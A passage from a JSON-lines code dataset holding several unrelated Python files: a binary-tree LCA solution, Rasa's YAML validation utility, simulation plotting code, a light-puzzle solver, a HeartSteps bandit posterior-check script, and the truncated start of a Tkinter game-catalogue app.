\"\"\"\n :type root: TreeNode\n :type p: TreeNode\n :type q: TreeNode\n :rtype: TreeNode\n \"\"\"\n if not root:\n return\n\n #root is one of the node\n if root == p or root == q:\n return root\n\n #one node in left subtree of root and other in right subtree\n lt_lca = self.lowestCommonAncestor(root.left, p, q)\n rt_lca = self.lowestCommonAncestor(root.right, p, q)\n if lt_lca and rt_lca:\n return root\n\n #both nodes in left subtree of root or right subtree of root\n if lt_lca:\n return lt_lca\n else:\n return rt_lca\n","repo_name":"grewy/practice_py","sub_path":"leetcode/DFS/medium/lca_binary_tree_dfs.py","file_name":"lca_binary_tree_dfs.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14699870133","text":"from typing import Text\n\nfrom ruamel.yaml.constructor import DuplicateKeyError\n\nfrom rasa.constants import PACKAGE_NAME\n\n\nclass InvalidYamlFileError(ValueError):\n \"\"\"Raised if an invalid yaml file was provided.\"\"\"\n\n def __init__(self, message: Text) -> None:\n super(InvalidYamlFileError, self).__init__(message)\n\n\ndef validate_yaml_schema(\n yaml_file_content: Text, schema_path: Text, show_validation_errors: bool = True\n) -> None:\n \"\"\"\n Validate yaml content.\n\n Args:\n yaml_file_content: the content of the yaml file to be validated\n schema_path: the schema of the yaml file\n show_validation_errors: if true, validation errors are shown\n \"\"\"\n from pykwalify.core import Core\n from pykwalify.errors import SchemaError\n from ruamel.yaml import YAMLError\n import pkg_resources\n import rasa.utils.io\n import logging\n\n log = logging.getLogger(\"pykwalify\")\n if show_validation_errors:\n log.setLevel(logging.WARN)\n else:\n log.setLevel(logging.CRITICAL)\n\n try:\n source_data = rasa.utils.io.read_yaml(yaml_file_content)\n except YAMLError:\n raise InvalidYamlFileError(\n \"The provided yaml file is invalid. You can use \"\n \"http://www.yamllint.com/ to validate the yaml syntax \"\n \"of your file.\"\n )\n except DuplicateKeyError as e:\n raise InvalidYamlFileError(\n \"The provided yaml file contains a duplicated key: '{}'. You can use \"\n \"http://www.yamllint.com/ to validate the yaml syntax \"\n \"of your file.\".format(str(e))\n )\n\n try:\n schema_file = pkg_resources.resource_filename(PACKAGE_NAME, schema_path)\n\n c = Core(source_data=source_data, schema_files=[schema_file])\n c.validate(raise_exception=True)\n except SchemaError:\n raise InvalidYamlFileError(\n \"Failed to validate yaml file. \"\n \"Please make sure the file is correct and all \"\n \"mandatory parameters are specified; to do so, \"\n \"take a look at the errors logged during \"\n \"validation previous to this exception.\"\n )\n","repo_name":"mahbubcseju/Rasa_Japanese","sub_path":"rasa/rasa/utils/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"78"} +{"seq_id":"21009313550","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\ndef plot(foodCount ,wolfCount, rabbitCount, rabbitMS, rabbitS, rabbitT, wolfMS, wolfS, id):\n \n x = range(0,len(wolfCount))\n\n plt.figure(1, figsize=(17,8))\n plt.plot(x, rabbitCount, color = 'black', label = 'Rabbit count')\n plt.plot(x, wolfCount, color = 'red', label = 'Wolf count')\n plt.ylabel('Stuff')\n plt.xlabel('Day')\n plt.legend()\n plt.savefig('plots/plot_obj_'+str(id)+'.png')\n \n\n plt.figure(2, figsize=(17,8))\n plt.plot(x, rabbitMS, color = 'green', label = 'Rabbit movement speed')\n plt.plot(x, rabbitS, color = 'cornflowerblue', label = 'Rabbit sense')\n plt.plot(x, rabbitT, color = 'purple', label = 'Rabbit threat sense')\n plt.plot(x, rabbitCount, color = 'black', label = 'Rabbit count')\n plt.ylabel('Stuff')\n plt.xlabel('Day')\n plt.legend()\n plt.savefig('plots/plot_rb_'+str(id)+'.png')\n\n plt.figure(3, figsize=(17,8))\n plt.plot(x, wolfMS, color = 'darkgreen', label = 'Wolf movement speed')\n plt.plot(x, wolfS, color = 'royalblue', label = 'Wolf sense')\n plt.plot(x, wolfCount, color = 'red', label = 'Wolf count')\n plt.ylabel('Stuff')\n plt.xlabel('Day')\n plt.legend()\n plt.savefig('plots/plot_wlf_'+str(id)+'.png')\n\n plt.figure(4, figsize=(17,8))\n plt.plot(x, wolfMS, color = 'red', label = 'Wolf movement speed')\n plt.plot(x, rabbitMS, color = 'black', label = 'Rabbit movement speed')\n plt.ylabel('Stuff')\n plt.xlabel('Day')\n plt.legend()\n plt.savefig('plots/plot_ms_'+str(id)+'.png')\n\n plt.figure(5, figsize=(17,8))\n plt.plot(x, wolfS, color = 'red', label = 'Wolf sense')\n plt.plot(x, rabbitS, color = 'black', label = 'Rabbit sense')\n plt.ylabel('Stuff')\n plt.xlabel('Day')\n plt.legend()\n plt.savefig('plots/plot_sen_'+str(id)+'.png')\n\n plt.figure(6, figsize=(17,8))\n plt.plot(x, wolfMS, color = 'red', label = 'Wolf movement speed')\n plt.plot(x, rabbitCount, color = 'black', label = 'Rabbit count')\n plt.ylabel('Stuff')\n plt.xlabel('Day')\n plt.legend()\n plt.savefig('plots/plot_msW_'+str(id)+'.png')\n\n plt.figure(7, figsize=(17,8))\n plt.plot(x, rabbitMS, color = 'red', label = 'Rabbit movement speed')\n plt.plot(x, foodCount, color = 'black', label = 'Carrot count')\n plt.ylabel('Stuff')\n plt.xlabel('Day')\n plt.legend()\n plt.savefig('plots/plot_msR_'+str(id)+'.png')","repo_name":"KrzysztofPempera/Natural_selection_sim_th","sub_path":"Natural_selection_simulation_2/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":2408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1697184986","text":"from typing import List\n\n\ndef line(x):\n return (7 & (x << 1)) ^ (x >> 1) ^ x\n\n\nclass Breakout:\n def __init__(self, size):\n self.size = size\n return\n\n def check(self, buttons: List[int]):\n if self.size == 1:\n return buttons[0][0]\n res = list()\n last = 0\n for i in range(self.size - 1):\n thisline = line(buttons[i])\n thisline ^= last ^ buttons[i + 1]\n res.append(thisline)\n last = buttons[i]\n thisline = line(buttons[-1]) ^ last\n res.append(thisline)\n return res\n\n def checkFirst(self, firstLine: int):\n FULL = (1 << self.size) - 1\n res = [firstLine]\n lightsLine = line(firstLine)\n for i in range(self.size):\n current = FULL ^ lightsLine\n lightsLine = line(current) ^ firstLine\n firstLine = current\n res.append(firstLine)\n return res, firstLine\n\n\ndef main():\n X = Breakout(3)\n for i in range(8):\n K = X.checkFirst(i)\n print(K, X.check(K[0]))\n return\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Dorijan-Cirkveni/Miniprojects","sub_path":"breakout.py","file_name":"breakout.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24361637345","text":"# %%\nimport pandas as pd\nimport pickle5 as pkl\nimport numpy as np\nimport rpy2.robjects as robjects\nfrom collections import OrderedDict\nimport scipy.stats as stats\nimport scipy.linalg as linalg\nimport argparse\nimport os\nimport copy\nimport skfda.representation.basis as basis\nimport itertools\nimport rpy2.robjects.packages as rpackages\nfrom rpy2.robjects.packages import importr\nrpackages.importr('fda')\nimport matplotlib.pyplot as plt\nfrom matplotlib import rc\nfrom main import load_data, calculate_eta, calculate_post_prob, calculate_posteriors, calculate_posterior_maineffect, calculate_posterior_unavail, calculate_value_functions,select_action,load_priors\n\nnp.set_printoptions(edgeitems=30, linewidth=100000, formatter=dict(float=lambda x: \"%.7g\" % x))\n\n# %%\nPKL_DATA_PATH = \"/Users/raphaelkim/Dropbox (Harvard University)/HeartStepsV2V3/Raphael/all91.pkl\"\nPRIOR_DATA_PATH = \"/Users/raphaelkim/Dropbox (Harvard University)/HeartStepsV2V3/Raphael/bandit-prior.RData\"\nPRIOR_NEW_DATA_PATH = \"/Users/raphaelkim/Dropbox (Harvard University)/HeartStepsV2V3/Raphael/bandit-spec-new.RData\"\nNDAYS = 90\nNUSERS = 91\nNTIMES = 5\n\nLAMBDA = 0.95\nMAX_ITERS=100\n\nF_KEYS = [\"intercept\", \"dosage\", \"engagement\", \"other_location\", \"variation\"]\nF_LEN = len(F_KEYS)\nG_KEYS = [\"intercept\", \"temperature\", \"logpresteps\", \"sqrt_totalsteps\", \"dosage\", \"engagement\", \"other_location\", \"variation\"]\nG_LEN = len(G_KEYS)\n\nE0 = 0.2\nE1 = 0.1\n\nMIN_DOSAGE = 0\nMAX_DOSAGE = 20\n\nNBASIS=50\n\n# %%\n# create the dosage basis\ndosage_basis = basis.BSpline((MIN_DOSAGE, MAX_DOSAGE), n_basis=NBASIS, order=4)\n\n# create the dosage grid\ndosage_grid = np.arange(MIN_DOSAGE, MAX_DOSAGE + .1, .1)\nDOSAGE_GRID_LEN = len(dosage_grid)\n\n# evaluate the dosage values using the basis\ndosage_eval = dosage_basis.evaluate(dosage_grid)\nnext_dosage_eval0 = dosage_basis.evaluate(dosage_grid * 0.95).squeeze().T\nnext_dosage_eval1 = dosage_basis.evaluate(dosage_grid * 0.95 + 1).squeeze().T\ndosage_eval = dosage_eval[:, :, 0]\n\n# setup dosage matrix instead of np.repeat in calculating marginal rewards\ndosage_matrix = []\nfor dosage in dosage_grid:\n dosageI = np.repeat(dosage/20.0, NTIMES*NDAYS)\n dosage_matrix.append(dosageI)\ndosage_matrix = np.matrix(dosage_matrix)\n \n# %%\n# partial dosage ols solutions used in eta proxy update (in particular, where value updates are done via function approximation)\ndosage_OLS_soln=np.linalg.inv(np.matmul(dosage_eval,dosage_eval.T))#(X'X)^{-1}#50 x 50\ndosage_OLS_soln=np.matmul(dosage_OLS_soln, dosage_eval)#(X'X)^{-1}X'# 50 x 201\n\n# %%\n# load in prior data results like H1 (eta.init), w, and gamma tuned by peng\nrobjects.r['load'](PRIOR_NEW_DATA_PATH)\nbanditSpec=robjects.r['bandit.spec'] \nPSED=banditSpec.rx2(\"p.sed\")[0]\nW=banditSpec.rx2(\"weight.est\")[0]\nGAMMA=banditSpec.rx2(\"gamma\")[0]\netaInit=banditSpec.rx2(\"eta.init\")\n\n# %%\ndef determine_user_state(data, dosage, last_action, useSimData=True):\n '''Determine the state of each user at each time point'''\n availability = data[2]\n\n features = {}\n\n features[\"engagement\"] = data[7]\n features[\"other_location\"] = data[8]\n # features[\"work_location\"] = data[9]\n features[\"variation\"] = data[10]\n features[\"temperature\"] = data[11]\n features[\"logpresteps\"] = data[12]\n features[\"sqrt_totalsteps\"] = data[13]\n features[\"prior_anti\"] = data[14]\n\n # calculating dosage\n newdosage = LAMBDA * dosage + (1 if (features[\"prior_anti\"] == 1 or last_action == 1) else 0)\n\n # standardizing the dosage\n features[\"dosage\"] = newdosage / 20.0\n features[\"intercept\"] = 1\n\n fs = np.array([features[k] for k in F_KEYS])\n gs = np.array([features[k] for k in G_KEYS])\n\n if useSimData:\n for i in range(len(fs)):\n fs[i]=np.random.normal(0, 1)\n for i in range(len(gs)):\n gs[i]=np.random.normal(0, 1)\n reward = data[5]\n\n return availability, fs, gs, newdosage, reward\n\n# %%\ndef calculate_reward(ts, fs, gs, action, trueTheta, trueThetaSigma):\n '''Calculate the reward for a given action'''\n\n # Get alpha and betas from the baseline\n alpha0 = trueTheta[:G_LEN].flatten()\n beta = trueTheta[-F_LEN:].flatten()\n\n alpha_psd=trueThetaSigma[:G_LEN, :G_LEN]\n beta_psd=trueThetaSigma[-F_LEN:, -F_LEN:]\n\n alpha0 = np.random.multivariate_normal(alpha0, alpha_psd)\n beta = np.random.multivariate_normal(beta, beta_psd)\n\n # Calculate reward\n estimated_reward = (gs @ alpha0) + action * (fs @ beta) #for dosage as baseline\n reward = np.random.randn() + estimated_reward # this residual matrix will either by the one from original data or a resampled with replacemnet version if user-specific\n\n return reward, fs @ beta\n\n# %%\ndef calculate_posterior_avail_err(alpha_sigma, alpha_mu, beta_sigma, beta_mu, sigma, availability_matrix, prob_matrix, reward_matrix, action_matrix, fs_matrix, gs_matrix, beta_sigmaInv, trueTheta):\n '''Calculate the posterior distribution when user is available'''\n\n # Get indices with non nan rewards, and where availability is 1\n avail_idx = np.logical_and(~np.isnan(reward_matrix), availability_matrix == 1)\n R = reward_matrix[avail_idx]\n A = action_matrix[avail_idx].reshape(-1, 1)\n P = prob_matrix[avail_idx].reshape(-1, 1)\n F = fs_matrix[avail_idx]\n G = gs_matrix[avail_idx]\n\n # If there are no available datapoints, return the prior\n if(len(R) == 0):\n return beta_mu, beta_sigma, 0\n\n # Calculate prior mu and sigma\n prior_mu = np.hstack((alpha_mu, beta_mu, beta_mu))\n prior_sigma = linalg.block_diag(alpha_sigma, beta_sigma, beta_sigma)\n\n # Calculate X and Y\n X = np.hstack((G, P * F, (A - P) * F))\n Y = R\n\n # Calculate posterior mu and sigma\n post_mu, post_sigma = calculate_posteriors(X, Y, prior_mu, beta_sigmaInv, sigma)\n\n # Get the posterior beta mu and sigma\n post_beta_mu, post_beta_sigma = post_mu[-F_LEN:], post_sigma[-F_LEN:, -F_LEN:]\n post_alpha_mu, post_alpha_sigma = post_mu[:G_LEN], post_sigma[:G_LEN, :G_LEN]\n err=np.linalg.norm(np.concatenate([post_alpha_mu,post_beta_mu])-trueTheta)\n\n return post_beta_mu, post_beta_sigma, err\n\n# %%\ndef run_algorithm(data, user, endogenous, trueTheta, trueThetaSigma):\n '''Run the algorithm for each user and each bootstrap'''\n\n # Load priors\n alpha0_pmean, alpha0_psd, alpha1_pmean, alpha1_psd, beta_pmean, beta_psd, sigma, prior_sigma,prior_mu = load_priors()\n\n # Initializing dosage to first dosage value (can be non-zero if user was already in the trial)\n dosage = data[0][6]\n\n # Posterior initialized using priors\n post_alpha0_mu, post_alpha0_sigma = np.copy(alpha0_pmean), np.copy(alpha0_psd)\n post_alpha1_mu, post_alpha1_sigma = np.copy(alpha1_pmean), np.copy(alpha1_psd)\n post_beta_mu, post_beta_sigma = np.copy(beta_pmean), np.copy(beta_psd)\n\n # get inverses\n alpha0_sigmaInv=np.linalg.inv(alpha0_psd)\n alpha1_sigmaInv=np.linalg.inv(alpha1_psd)\n beta_sigmaInv=np.linalg.inv(prior_sigma)\n\n # DS to store availability, probabilities, features, actions, posteriors and rewards\n availability_matrix = np.zeros((NDAYS * NTIMES))\n prob_matrix = np.zeros((NDAYS * NTIMES))\n reward_matrix = np.zeros((NDAYS * NTIMES))\n action_matrix = np.zeros((NDAYS * NTIMES))\n fs_matrix = np.zeros((NDAYS * NTIMES, F_LEN))\n gs_matrix = np.zeros((NDAYS * NTIMES, G_LEN))\n\n # Posterior matrices\n # alpha0\n post_alpha0_mu_matrix = np.zeros((NDAYS * NTIMES, G_LEN))\n post_alpha0_sigma_matrix = np.zeros((NDAYS * NTIMES, G_LEN, G_LEN))\n\n # alpha1\n post_alpha1_mu_matrix = np.zeros((NDAYS * NTIMES, G_LEN))\n post_alpha1_sigma_matrix = np.zeros((NDAYS * NTIMES, G_LEN , G_LEN))\n\n # beta\n post_beta_mu_matrix = np.zeros((NDAYS * NTIMES, F_LEN ))\n post_beta_sigma_matrix = np.zeros((NDAYS * NTIMES, F_LEN , F_LEN ))\n\n eta = 0\n p_avail_avg = 0\n theta0, theta1 = np.zeros(NBASIS), np.zeros(NBASIS)\n\n truePosteriors=[]\n errs=[]\n\n info=\"we do not use sim data\" if endogenous else \"we use sim data\"\n print(\"INFO: \"+info)\n\n for day in range(NDAYS):\n # loop for each decision time during the day\n for time in range(NTIMES):\n\n # Get the current timeslot\n ts = (day) * 5 + time\n \n # State of the user at time ts\n availability, fs, gs, dosage, reward = determine_user_state(data[ts], dosage, action_matrix[ts-1], useSimData=(not endogenous))# if endogenous, use sim data is false.\n\n # Save user's availability\n availability_matrix[ts] = availability\n\n # If user is available\n action, prob_fsb = 0, 0\n availability=1\n\n # Calculate probability of (fs x beta) > n\n eta = calculate_eta(theta0, theta1, dosage, p_avail_avg, ts)\n\n #print(\"\\tAvailable: ETA is \" + str(eta) + \" . Dosage: \" + str(dosage))\n prob_fsb = calculate_post_prob(day, data, fs, post_beta_mu, post_beta_sigma, eta)\n\n # Sample action with probability prob_fsb from bernoulli distribution\n action = select_action(prob_fsb)\n\n # Bayesian LR to estimate reward\n reward, truePosterior = calculate_reward(ts, fs, gs, action, trueTheta,trueThetaSigma)\n truePosteriors.append(truePosterior)\n\n # Save probability, features, action and reward\n prob_matrix[ts] = prob_fsb\n action_matrix[ts] = action\n\n # Save features and state\n reward_matrix[ts] = reward\n\n fs_matrix[ts] = fs\n gs_matrix[ts] = gs\n\n post_alpha0_mu_matrix[ts] = post_alpha0_mu\n post_alpha0_sigma_matrix[ts] = post_alpha0_sigma\n\n post_alpha1_mu_matrix[ts] = post_alpha1_mu\n post_alpha1_sigma_matrix[ts] = post_alpha1_sigma\n\n post_beta_mu_matrix[ts] = post_beta_mu\n post_beta_sigma_matrix[ts] = post_beta_sigma\n\n # Update posteriors at the end of the day\n post_beta_mu, post_beta_sigma, err = calculate_posterior_avail_err(alpha1_psd, alpha1_pmean, beta_psd, beta_pmean, sigma, \n availability_matrix[:ts + 1], prob_matrix[:ts + 1], reward_matrix[:ts + 1], \n action_matrix[:ts + 1], fs_matrix[:ts + 1], gs_matrix[:ts + 1], beta_sigmaInv, trueTheta)\n\n post_alpha0_mu, post_alpha0_sigma = calculate_posterior_unavail(alpha0_psd, alpha0_pmean, sigma, availability_matrix[:ts + 1], \n reward_matrix[:ts + 1], gs_matrix[:ts + 1], alpha0_sigmaInv)\n\n post_alpha1_mu, post_alpha0_sigma = calculate_posterior_maineffect(alpha1_psd, alpha1_pmean, sigma, availability_matrix[:ts + 1], \n reward_matrix[:ts + 1], action_matrix[:ts + 1], gs_matrix[:ts + 1], alpha1_sigmaInv)\n\n # update value functions\n theta0, theta1, p_avail_avg = calculate_value_functions(availability_matrix[:ts + 1], action_matrix[:ts + 1], \n fs_matrix[:ts + 1], gs_matrix[:ts + 1], reward_matrix[:ts + 1], \n post_beta_mu, post_alpha0_mu, post_alpha1_mu, ts)\n\n for jjj in range(NTIMES):\n errs.append(err)\n\n result = {\"availability\": availability_matrix, \"prob\": prob_matrix, \"action\": action_matrix, \"reward\": reward_matrix,\n \"post_alpha0_mu\": post_alpha0_mu_matrix, \"post_alpha0_sigma\": post_alpha0_sigma_matrix,\n \"post_alpha1_mu\": post_alpha1_mu_matrix, \"post_alpha1_sigma\": post_alpha1_sigma_matrix,\n \"post_beta_mu\": post_beta_mu_matrix, \"post_beta_sigma\": post_beta_sigma_matrix,\n \"fs\": fs_matrix, \"gs\": gs_matrix}\n\n from eta_checks import getTxEffect\n learnedPosteriors=[]\n T=len(result['availability'])\n posteriorErrors=[]\n\n for t in range(T):\n txEffect=getTxEffect(result,t,standardize=False)\n learnedPosteriors.append(txEffect)\n posteriorErrors.append(abs(txEffect-truePosteriors[t]))\n\n result['l2errors']=errs\n result['posteriorErrors']=posteriorErrors\n\n return result,truePosteriors,learnedPosteriors\n\ndef plotResult(true, learned, l2errs, postErrs, user, image_path):\n plt.clf()\n f = plt.figure()\n f.set_figwidth(20)\n f.set_figheight(10)\n\n T=len(true)\n\n plt.plot(range(T), true, color='b', label=\"True Posterior Mean\", linewidth=2, alpha=1)\n plt.plot(range(T), learned, color='r', label=\"Learned Posterior Mean\", linewidth=2, alpha=1)\n plt.legend(loc=\"upper right\")\n\n plt.title('Posterior Mean Tx Effect vs. Time in the Study for user '+str(user))\n plt.xlabel('Time in the Study')\n plt.ylabel('Posterior Mean')\n plt.savefig(image_path+'.png')\n plt.clf()\n\n # plot posteriors and errors\n rc('mathtext', default='regular')\n fig = plt.figure(figsize=(6.4+10, 4.8+5))\n ax = fig.add_subplot(111)\n\n lns1 = ax.plot(range(T), l2errs, '-g', label = 'Theta errors')\n #lns2 = ax.plot(range(T), postErrs, '-o', label = 'Posterior errors')\n lns2 = ax.plot(range(T), postErrs, '-', color='orange', label = 'Posterior errors')\n plt.legend(loc=\"upper right\")\n\n # added these lines\n lns = lns1+lns2\n labs = [l.get_label() for l in lns]\n ax.legend(lns, labs, loc='lower left', bbox_to_anchor=(0,-.15), fancybox = True, shadow = True)\n\n ax.grid()\n ax.set_xlabel('Time')\n ax.set_ylabel(\"l2 Errors\")\n\n plt.title('Errors vs. Time for user '+str(user))\n plt.savefig(image_path+'_errors'+'.png')\n plt.clf()\n\n# %%\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-u\", \"--user\", type=int, required=True, help=\"User number\")\n #parser.add_argument(\"-endo\", \"--endogenous\", type=bool, required=True, help=\"endogenous or exogenous\")\n args = parser.parse_args()\n endogenous=True\n\n print(\"\\nLearning Checks\\n\")\n # Set random seed to the bootstrap number\n np.random.seed(0)\n\n # Load data\n data = load_data()\n\n output_dir = os.path.join(\"./checks\", \"user-\"+str(args.user), \"learning_algorithm_check\")\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n output_dir=output_dir+\"/\"\n\n # Run experiment 1\n trueTheta=np.zeros(F_LEN+G_LEN)\n trueThetaSigma=np.identity(F_LEN+G_LEN)\n print(trueTheta)\n image_path=os.path.join(output_dir, \"posterior_check_0tx_endogenous-\"+str(endogenous))\n result0, true0, learned0=run_algorithm(data[args.user], args.user, endogenous, trueTheta, trueThetaSigma)\n plotResult(true0, learned0, result0['l2errors'],result0['posteriorErrors'],args.user,image_path)\n\n # Run experiment 2\n trueTheta=np.random.normal(1, 1, F_LEN+G_LEN)\n replace=np.random.normal(-1,1,F_LEN+G_LEN)\n for i in range(0, F_LEN+G_LEN, 2):\n trueTheta[i]=replace[i]\n\n trueThetaSigma=np.identity(F_LEN+G_LEN)\n print(trueTheta)\n image_path=os.path.join(output_dir, \"posterior_check_moderateTx_endogenous-\"+str(endogenous))\n resultM, trueM, learnedM=run_algorithm(data[args.user], args.user, endogenous,trueTheta, trueThetaSigma)\n plotResult(trueM, learnedM, resultM['l2errors'], resultM['posteriorErrors'],args.user, image_path)\n\n # Run experiment 3\n trueTheta=np.random.normal(2, 1, F_LEN+G_LEN)\n replace=np.random.normal(-2,1,F_LEN+G_LEN)\n for i in range(0, F_LEN+G_LEN, 2):\n trueTheta[i]=replace[i]\n trueThetaSigma=np.identity(F_LEN+G_LEN)\n print(trueTheta)\n image_path=os.path.join(output_dir, \"posterior_check_largeTx_endogenous-\"+str(endogenous))\n resultL, trueL, learnedL=run_algorithm(data[args.user], args.user, endogenous,trueTheta, trueThetaSigma)\n plotResult(trueL, learnedL, resultL['l2errors'],resultL['posteriorErrors'],args.user,image_path)\n\n# %%\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"susobhang70/bootstrap_heartsteps","sub_path":"checks/learning_check.py","file_name":"learning_check.py","file_ext":"py","file_size_in_byte":15900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38479973010","text":"# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\nCreated on Fri Apr 29 14:13:19 2016\r\n\r\n@author: Gabriel\r\n\"\"\"\r\n\r\nimport tkinter as tk\r\nimport pickle\r\nimport webbrowser\r\nimport Email_Generator\r\nimport banco_de_dados\r\nimport Pesquisa\r\nfrom PIL import Image, ImageTk\r\nimport random\r\nimport string\r\n\r\nclass Main_Window:\r\n \r\n def __init__(self):\r\n \r\n self.core = tk.Tk() \r\n self.core.resizable(height = False, width=False)\r\n self.core.title(\"Synchromatic\")\r\n self.core.geometry(\"650x670\")\r\n \r\n self.Email_gen = Email_Generator.create_email()\r\n \r\n self.image1 = Image.open(\"Images/Main_Button.jpg\") \r\n self.init = ImageTk.PhotoImage(self.image1)\r\n self.image2 = Image.open(\"Images/syn.jpg\") \r\n self.init2 = ImageTk.PhotoImage(self.image2)\r\n \r\n self.Main_Menu_im = Image.open(\"Images/Main_Menu.png\") \r\n self.Main_Menu = ImageTk.PhotoImage(self.Main_Menu_im) \r\n\r\n self.My_Fav_im = Image.open(\"Images/Meus_Favoritos.png\") \r\n self.My_Fav = ImageTk.PhotoImage(self.My_Fav_im) \r\n \r\n self.minha_conta_im = Image.open(\"Images/Minha_conta.png\")\r\n self.minha_conta = ImageTk.PhotoImage(self.minha_conta_im)\r\n \r\n self.Pesquisa_im = Image.open(\"Images/Pesquisa.png\")\r\n self.Pesquisa_show = ImageTk.PhotoImage(self.Pesquisa_im)\r\n\r\n self.bg_pages_im = Image.open(\"Images/Pagina_jogos.png\") \r\n self.bg_pages_show = ImageTk.PhotoImage(self.bg_pages_im)\r\n \r\n self.avatar_im = Image.open(\"Images/Login_avatar.jpg\") \r\n self.avatar_im_show = ImageTk.PhotoImage(self.avatar_im)\r\n \r\n self.fav_im = Image.open(\"Images/Favorite.png\")\r\n self.fav = ImageTk.PhotoImage(self.fav_im)\r\n \r\n self.not_fav_im = Image.open(\"Images/Not_Favorite.jpg\")\r\n self.not_fav = ImageTk.PhotoImage(self.not_fav_im) \r\n \r\n self.alterar_im = Image.open(\"Images/alterar.jpg\")\r\n self.alterar = ImageTk.PhotoImage(self.alterar_im) \r\n \r\n self.alterar_senha_im = Image.open(\"Images/alterar_senha.png\")\r\n self.alterar_senha_image = ImageTk.PhotoImage(self.alterar_senha_im) \r\n \r\n self.salvar_alt_im = Image.open(\"Images/salvar_alt.png\")\r\n self.salvar_alt = ImageTk.PhotoImage(self.salvar_alt_im) \r\n \r\n self.discartar_im = Image.open(\"Images/disc_alt.png\")\r\n self.discartar_alt = ImageTk.PhotoImage(self.discartar_im) \r\n \r\n self.avatar_0_im = Image.open(\"Images/Darth.jpeg\")\r\n self.avatar_0 = ImageTk.PhotoImage(self.avatar_0_im) \r\n \r\n self.avatar_1_im = Image.open(\"Images/Kirby_hat.png\")\r\n self.avatar_1 = ImageTk.PhotoImage(self.avatar_1_im) \r\n \r\n self.avatar_2_im = Image.open(\"Images/Eric.png\")\r\n self.avatar_2 = ImageTk.PhotoImage(self.avatar_2_im) \r\n \r\n self.avatar_3_im = Image.open(\"Images/Homer.png\")\r\n self.avatar_3 = ImageTk.PhotoImage(self.avatar_3_im) \r\n \r\n self.avatar_4_im = Image.open(\"Images/Yoda.png\")\r\n self.avatar_4 = ImageTk.PhotoImage(self.avatar_4_im) \r\n \r\n self.avatar_sel_im = Image.open(\"Images/Avatar_select.png\")\r\n self.avatar_sel = ImageTk.PhotoImage(self.avatar_sel_im)\r\n \r\n self.left_im = Image.open(\"Images/Button_left.png\")\r\n self.left = ImageTk.PhotoImage(self.left_im) \r\n \r\n self.right_im = Image.open(\"Images/Button_right.png\")\r\n self.right = ImageTk.PhotoImage(self.right_im) \r\n \r\n self.Jogos_canvas = Image.open(\"Images/Pagina_canvas.png\")\r\n self.jogos_canvas = ImageTk.PhotoImage(self.Jogos_canvas) \r\n\r\n self.all_games = banco_de_dados.Games() \r\n \r\n self.var = 0 \r\n \r\n self.game_entry = tk.StringVar() \r\n self.game_entry.set(\"Procure jogos aqui\")\r\n \r\n self.username = tk.StringVar() \r\n self.Login = tk.StringVar()\r\n self.Senha = tk.StringVar()\r\n self.email = tk.StringVar()\r\n self.Login_show = tk.StringVar()\r\n self.Login_my_acc = tk.StringVar()\r\n self.email_show = tk.StringVar()\r\n self.user_my_acc = tk.StringVar()\r\n self.Senha_conf = tk.StringVar()\r\n \r\n self.avatar_var = [self.avatar_0, self.avatar_1, self.avatar_2, self.avatar_3, self.avatar_4] \r\n \r\n for linhas in range (0,15):\r\n self.core.rowconfigure(linhas, weight=1)\r\n for colunas in range (0,8): \r\n self.core.columnconfigure(colunas, weight=1)\r\n self.Main_BG = tk.Label(self.core, image = self.init2)\r\n self.Main_BG.configure(bg = \"black\") \r\n self.Main_BG.grid(row=0, column=0, columnspan=8, rowspan = 15 ,sticky=\"nsew\") \r\n self.Button_Main = tk.Button(self.core,image=self.init, bg = \"black\", width = 130, height = 120,command = self.Begin)\r\n self.Button_Main.place(x = 256, y = 230) \r\n self.database = open(\"cadastros.data\", \"rb\")\r\n self.meus_cadastros = pickle.load(self.database)\r\n self.database.close()\r\n \r\n def Begin(self):\r\n self.Button_Main.grid_forget() \r\n self.Main_BG.grid_forget()\r\n self.Login_screen()\r\n \r\n def Login_screen(self):\r\n \r\n self.BG = tk.Label(self.core, bg = \"black\")\r\n self.BG.grid(row=0, column=0, columnspan = 8, rowspan = 16, sticky=\"nsew\") \r\n \r\n self.Login_button = tk.Button(self.core,text=\"Login\", fg = \"green2\", bg = \"black\", height = 3, width = 19, command = self.Load_account) \r\n self.Login_button.place(x = 250, y = 300) \r\n \r\n self.Sign_in_button = tk.Button(self.core,text=\"Cadastro\", fg = \"green2\", bg = \"black\", height = 3, width = 19, command = self.Cadastro_label) \r\n self.Sign_in_button.place(x = 250, y = 380) \r\n \r\n def Load_account(self): \r\n \r\n self.var = 1 \r\n \r\n self.Login_button.grid_forget()\r\n self.Sign_in_button.grid_forget()\r\n \r\n self.BG = tk.Label(self.core, bg = \"black\")\r\n self.BG.grid(row=0, column=0, columnspan = 8, rowspan = 16, sticky=\"nsew\") \r\n \r\n self.Label_nome_1 = tk.Label(self.core,text=\"Login:\", font = \"Helvetica\", fg = \"green2\", bg = \"black\", height = 3, width = 4) \r\n self.Label_nome_1.place(x = 110, y = 132) \r\n \r\n self.Textbox_1 = tk.Entry(self.core, textvariable=self.Login,font = \"Helvetica 20\")\r\n self.Textbox_1.place(x = 200, y = 150) \r\n \r\n self.Label_nome_2 = tk.Label(self.core,text=\"Senha:\", font = \"Helvetica\", fg = \"green2\", bg = \"black\", height = 3, width = 5) \r\n self.Label_nome_2.place(x = 110, y = 232) \r\n \r\n self.Textbox_2 = tk.Entry(self.core, textvariable=self.Senha, font = \"Helvetica 20\", show='*')\r\n self.Textbox_2.place(x = 200, y= 250) \r\n\r\n self.Login_button = 